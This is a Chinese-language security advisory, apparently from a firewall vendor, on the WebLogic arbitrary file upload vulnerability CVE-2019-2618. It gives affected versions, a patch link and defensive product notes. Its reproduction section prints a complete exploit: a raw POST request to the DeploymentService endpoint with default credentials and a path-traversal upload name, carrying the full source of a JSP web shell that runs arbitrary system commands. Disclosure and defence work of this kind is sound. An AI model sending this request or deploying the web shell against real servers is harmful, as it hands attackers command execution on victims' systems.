近日,Oracle官方在最新的安全更新中披露了一则WebLogic任意文件上传漏洞(CVE-2019-2618)。漏洞官方定级为High,属于高危漏洞。该漏洞本质是通过OAM认证后,利用DeploymentService接口实现任意文件上传。攻击者可以利用该漏洞获取服务器权限。
漏洞名称:WebLogic任意文件上传漏洞 威胁等级:高危 影响范围:WebLogic 10.3.6.0、12.1.3.0、12.2.1.3 漏洞类型:任意文件上传 利用难度:一般 WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。WebLogic是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器,具有可扩展性,快速开发,灵活,可靠性等优势。
CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件。攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。
下载WebLogic10.3.6.0版本作为靶机。 在/bea_wls_deployment_internal/DeploymentService路径下传入以下数据:
POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1 Host: xxx.xxx.xxx.xxx Connection: keep-alive Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.18.4 username: weblogic wl_request_type: app_upload cache-control: no-cache wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war serverName: Seaer password: weblogic content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW archive: true server_version: 10.3.6.0 wl_upload_delta: true Content-Length: 1081
------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp" Content-Type: false
<%@ page import="java.util.*,java.io.*"%> <% %> <HTML><BODY> Commands with JSP <FORM METHOD="GET" NAME="myform" ACTION=""> <INPUT TYPE="text" NAME="cmd"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <pre> <% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "<BR>"); Process p; if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){ p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd")); } else{ p = Runtime.getRuntime().exec(request.getParameter("cmd")); } OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> </pre> </BODY></HTML>
------WebKitFormBoundary7MA4YWxkTrZu0gW-- 成功上传shell.jsp木马文件,如图:
目前据统计,在全球范围内对互联网开放WebLogic的资产数量多达35,894台,其中归属中国地区的受影响资产数量为1万以上。
目前受影响的WebLogic版本: WebLogic 10.3.6.0、12.1.3.0、12.2.1.3
Oracle官方已经在关键补丁更新(CPU)中修复了该漏洞
相关链接: https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html
某公司下一代防火墙可轻松防御此漏洞,建议部署某公司下一代防火墙的用户更新至最新的安全防护规则,可轻松抵御此高危风险。
某公司云盾已第一时间从云端自动更新防护规则,云盾用户无需操作,即可轻松、快速防御此高危风险。
https://www.oracle.com/technetwork/security-advisory/cpuapr2019-5072813.html
2019/04/17 Oracle官方团队在最新的安全更新中披露了一则WebLogic任意文件上传漏洞(CVE-2019-2618) 2019/04/17 网上已有POC小范围流传 2019/04/18 某公司千里目安全 |